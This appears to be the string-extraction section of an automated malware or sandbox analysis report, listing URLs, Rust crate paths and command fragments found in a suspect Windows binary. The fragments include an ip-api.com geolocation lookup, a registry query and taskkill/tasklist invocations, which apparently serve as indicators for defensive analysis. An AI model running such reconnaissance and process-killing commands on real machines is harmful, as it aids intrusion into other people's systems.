"https://normandy.cdn.mozilla.net/api/v1/classify_client/strongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlr" Pattern match: "https://api-81556a20.duosecurity.com/frame/static/shared/lib/plugin-detect/plugin-detect.min.css?v=e9132necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq" Pattern match: "https://accounts.firefox.com/metricsnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbq" Pattern match: "https://tiles.services.mozilla.com/v3/links/fetch/en-us/releasestrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqit" Pattern match: "https://search.services.mozilla.com/1/firefox/64.0/release/en-us/us/default/defaultnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaagaagaaaaaaaaaaaaaaaaaaaaeamqfmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfi" Pattern match: "https://tiles.services.mozilla.com/v3/links/ping-centrenecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fv" Pattern match: "https://tiles.services.mozilla.com/v3/links/ping-centrestrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrb" Pattern match: "https://tiles.services.mozilla.com/v4/links/activity-streamnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaagaagaaaaaaaaaaaaaaaaaaaaeamqfmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaaaaaaavjmiifx" Pattern match: "https://www.google.com/velog/onb?atyp=i&ct=&cad=eol&eob=msdn%20product%20keys|what%20is%20msdn|msdn%20subscriber%20downloads%20old%20site|msdn%20platforms|msdn%20magazine|bizspark&rt=eol.371&vet=10ahukewj0tmpskkbcahwbmd8khwfvad0q2z0bcdcwaq..s;0ahukewj0tmps" Pattern match: "https://www.google.com/velog/onb?atyp=i&ct=&cad=eol&eob=msdn%20product%20keys|what%20is%20msdn|msdn%20subscriber%20downloads%20old%20site|msdn%20platforms|msdn%20magazine|bizspark&rt=eol.410&vet=10ahukewj0tmpskkbcahwbmd8khwfvad0q2z0bcdcwaq..s;0ahukewj0tmps" Pattern match: "https://www.google.com/complete/search?client=firefox&q=arronecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywm" Pattern match: "https://www.google.com/complete/search?client=firefox&q=googlenecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiy" Pattern match: "https://www.google.com/complete/search?client=firefox&q=msdn+subscrnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+" Pattern match: "https://www.google.com/gen_204?atyp=i&ct=&cad=eob&eob=msdn%20product%20keys|what%20is%20msdn|msdn%20subscriber%20downloads%20old%20site|msdn%20platforms|msdn%20magazine|bizspark&rt=eob.548&vet=10ahukewj0tmpskkbcahwbmd8khwfvad0q2z0bcdcwaq..s&ei=aubnw_txhyhj" Pattern match: "https://www.google.com/gen_204?s=webaft&atyp=csi&ei=rp0gw-a8a-qk0wk26kiadw&rt=wsrt.349,aft.95,prt.95necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjg" Pattern match: "https://www.google.com/client_204?&atyp=i&biw=1024&bih=497&ei=aubnw_txhyhj_abn3ofodqstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp" Pattern match: "https://msdn.microsoft.com/areas/centers/themes/standarddevcenter/content/headerfootersprite.cssnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqb" Pattern match: "https://msdn.microsoft.com/areas/library/themes/msdn/content/msdn.cssnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvx" Pattern match: "https://visualstudio.microsoft.com/wp-content/plugins/wpml-cms-nav/res/css/navigation.cssnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0m" Pattern match: "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.7887.12/content/images/ellipsis_grey.svg?x=2b5d393db04a5e6e1f739cb266e65b4cnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaa" Pattern match: "https://msdn.microsoft.com/areas/centers/themes/msdnbase/content/footer.jsnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcj" Pattern match: "http://ocsp.msocsp.com/strongly-framedrequest-methodpostrequest-accept-encodinggzip" Pattern match: "https://www.google.com/gen_204?atyp=csi&ei=k-fnw7-pnuq2ggff_zegda&s=web&t=all&imc=3&imn=3&imp=2&adh=&ima=3&ime=0&imeb=0&imeo=0&rt=aft.401,dcl.435,iml.401,ol.493,prt.385,xjs.1951,xjsee.1951,xjses.1800,xjsls.1425,sct.256,wsrt.308,cst.132,dnst.18,rqst.449,rsp" Pattern match: "http://www.symauth.com/cps0*" Pattern match: "http://ocsp.digicert.com/strongly-framedrequest-methodpostresponse-headhttp/1.1" Pattern match: "http://ocsp.pki.goog/gtsgiag3strongly-framedrequest-methodpostresponse-headhttp/1.1" Pattern match: "http://download.mozilla.org/?product=firefox-60.0.2-complete&os=win&lang=en-usstrongly-framedrequest-methodresponse-headhttp/1.1" Pattern match: "https://www.mozilla.org/predictor::seenpredictor::resource-countpredictor::https://www.mozilla.org/1,2,1520274997,4096predictor::https://www.googletagmanager.com/1,2,1520274997,4096predictor::https://www.google-analytics.com/1,2,1520274997,4096" Pattern match: "http://www.google.com/predictor::seen" Pattern match: "http://google.com/necko:classified" Heuristic match: "ip-api.com" Heuristic match: "get /json/?fields=countrycode http/1.1accept: */*host: ip-api.com" Heuristic match: "vsblobprodscussu5shard21.blob.core.windows.net" Pattern match: "https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7c6b3934e36b" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-tungstenite-0.28.0\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\buffer.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\handshake\machine.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\format\formatting.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\jpeg-encoder-0.6.1\src\encoder.rs" Heuristic match: "bug: no frame headerc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\protocol\frame\mod.rs" Heuristic match: "application/jsonstatic str is invalid namec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\header\name.rs" Heuristic match: "src\main.rs" Heuristic match: "max receiversc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\broadcast.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\btree\map.rs" Heuristic match: "serialize_value called before serialize_keyc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.151\src\value\ser.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\response.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\context.rs" Heuristic match: "column out of boundsc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\column.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-tungstenite-0.28.0\src\tls.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-tungstenite-0.28.0\src\connect.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-tungstenite-0.28.0\src\handshake.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\watch.rs" Heuristic match: "rollbackc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\semaphore.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\once_lock.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\mpsc\bounded.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\list.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\zero.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\array.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\mpsc\chan.rs" Pattern match: "system32reg.exe/reg:64/reg:32queryhklm\software\microsoft\office\clicktorun\configuration/vinstallationpathreg_sz" Heuristic match: "directoryc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\lib.rs" Heuristic match: "transaction dropped unexpectedly.c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\transaction.rs" Heuristic match: "null pointer from sqlite3_column_name: out of memory?c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\raw_statement.rs" Heuristic match: "internal error: entered unreachable code: invalid once state/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\sync\once\futex.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\waker.rs" Heuristic match: "invalid unlocked statec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\lock\bilock.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.151\src\de.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\cache.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\jpeg-encoder-0.6.1\src\writer.rs" Pattern match: "taskkill.exe/pid/t/f" Pattern match: "tasklist.exe/fi/focsv/nhuser_scope_installper_user_installerscript_executionmanaged_apps" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.4\src\combinators\collect.rs" Heuristic match: "interrupted handshake (wouldblock)polled feed after completionc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\sink\feed.rs" Heuristic match: "[c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\jpeg-encoder-0.6.1\src\image_buffer.rs" Heuristic match: "tlsfeaturenotenablednohostnameunabletoconnectunsupportedurlschemeemptyhostnamenopathorquerynative`len` greater than remainingc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.4\src\util.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\vec\spec_from_iter_nested.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\raw_vec\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\str.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\fmt.rs" Heuristic match: "sc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\anyhow-1.0.104\src\fmt.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\anyhow-1.0.104\src\error.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\atomic-waker-1.1.2\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode_suffix.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.12.1\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\naive\internals.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\format\scan.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\format\parse.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\datetime\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\naive\date\mod.rs" Heuristic match: "bdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\format\strftime.rs" Heuristic match: "system time before unix epochc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\offset\utc.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\chrono-0.4.45\src\offset\local\mod.rs" Heuristic match: "input is out of rangeno possible date and time matching inputinput is not enough for unique date and timeinput contains invalid characterspremature end of inputtrailing inputbad or unsupported format stringc:\users\admin\.cargo\registry\src\index.crates.io" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\num.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\unicode\unicode_data.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\flt2dec\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\builders.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\net\parser.rs" Heuristic match: "entity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a directoryis a dir" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\diy_float.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\bignum.rs" Heuristic match: "assertion failed: digits < 40/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\wtf8.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\mod.rs" Heuristic match: "called `option::unwrap()` on a `none` value/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\panicking.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\slice\memchr.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\unicode\printable.rs" Heuristic match: ">= 0/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\flt2dec\strategy\grisu.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\flt2dec\strategy\dragon.rs" Heuristic match: "any /rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\net\ip_addr.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\net\socket_addr.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\net\display_buffer.rs" Heuristic match: "refcell already mutably borrowedrefcell already borrowedc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\data-encoding-2.11.1\src\lib.rs" Heuristic match: "+c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-core-0.3.34\src\task\__internal\atomic_waker.rs" Heuristic match: "hash table capacity overflow/rust/deps\hashbrown-0.17.1\src\raw.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\uri\authority.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\uri\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\uri\path.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\method.rs" Heuristic match: "http/2.0http/3.0c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\version.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\httparse-1.10.1\src\lib.rs" Heuristic match: "just sent okc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\body\incoming.rs" Heuristic match: "chunkedc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\proto\h1\role.rs" Heuristic match: "original header value plus ascii is validc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\headers.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\uri\scheme.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\proxy\matcher.rs" Heuristic match: ":c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\smallvec-1.15.2\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\uts46.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\punycode.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\slice\sort\stable\quicksort.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_normalizer-2.1.1\src\lib.rs" Heuristic match: "layoutsizealigncapacityoverflowallocerrlayoutc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ipnet-2.12.1\src\parser.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\jpeg-encoder-0.6.1\src\huffman.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.2\src\sys\windows\selector.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.2\src\sys\windows\named_pipe.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.2\src\sys\windows\iocp.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.2\src\sys\windows\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.2\src\sys\windows\net.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\panic_unwind\src\seh.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\percent-encoding-2.3.2\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\header\value.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\proto\h1\decode.rs" Heuristic match: "current header namec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\proto\h1\encode.rs" Heuristic match: "chunk trailers count overflowinvalid trailer end lfinvalid chunk size line: invalid sizeassertion failed: !self.context.is_null()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-native-tls-0.3.1\src\lib.rs" Heuristic match: "out of bounds access/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\vec_deque\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\proto\h1\io.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\http.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\connect.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\request.rs" Heuristic match: "base64 is always valid headervaluec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\util.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\encode.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\body.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\mpsc\list.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\slice.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\client\conn\http1.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-tls-0.6.0\src\client.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\io.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\dns.rs" Heuristic match: "proxy-authorization: c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\proxy\tunnel.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\rt\io.rs" Heuristic match: "http2 feature is not enabledc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "not droppedc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\pool.rs" Heuristic match: "envelope not droppedc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\client\dispatch.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\net\tcp\socket.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\dns\gai.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\client.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\proto\h1\conn.rs" Heuristic match: "assertion failed: slot.is_none()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.34\src\oneshot.rs" Heuristic match: "assertion failed: (*tail).value.is_none()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.34\src\mpsc\queue.rs" Heuristic match: "unexpected eof during handshakeassertion failed: size >= nreadc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\schannel-0.1.29\src\tls_stream.rs" Heuristic match: "should be valid urlc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\proxy.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.34\src\mpsc\mod.rs" Heuristic match: "urlc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\tokio.rs" Heuristic match: "tryflatten polled after completionc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\future\try_future\try_flatten.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\future\future\map.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.12.1\src\bytes_mut.rs" Heuristic match: "hyper::upgrade::onupgradeready polled after completionc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\future\ready.rs" Heuristic match: "already calledc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\util\oneshot.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.12.1\src\bytes.rs" Heuristic match: "previous url must be 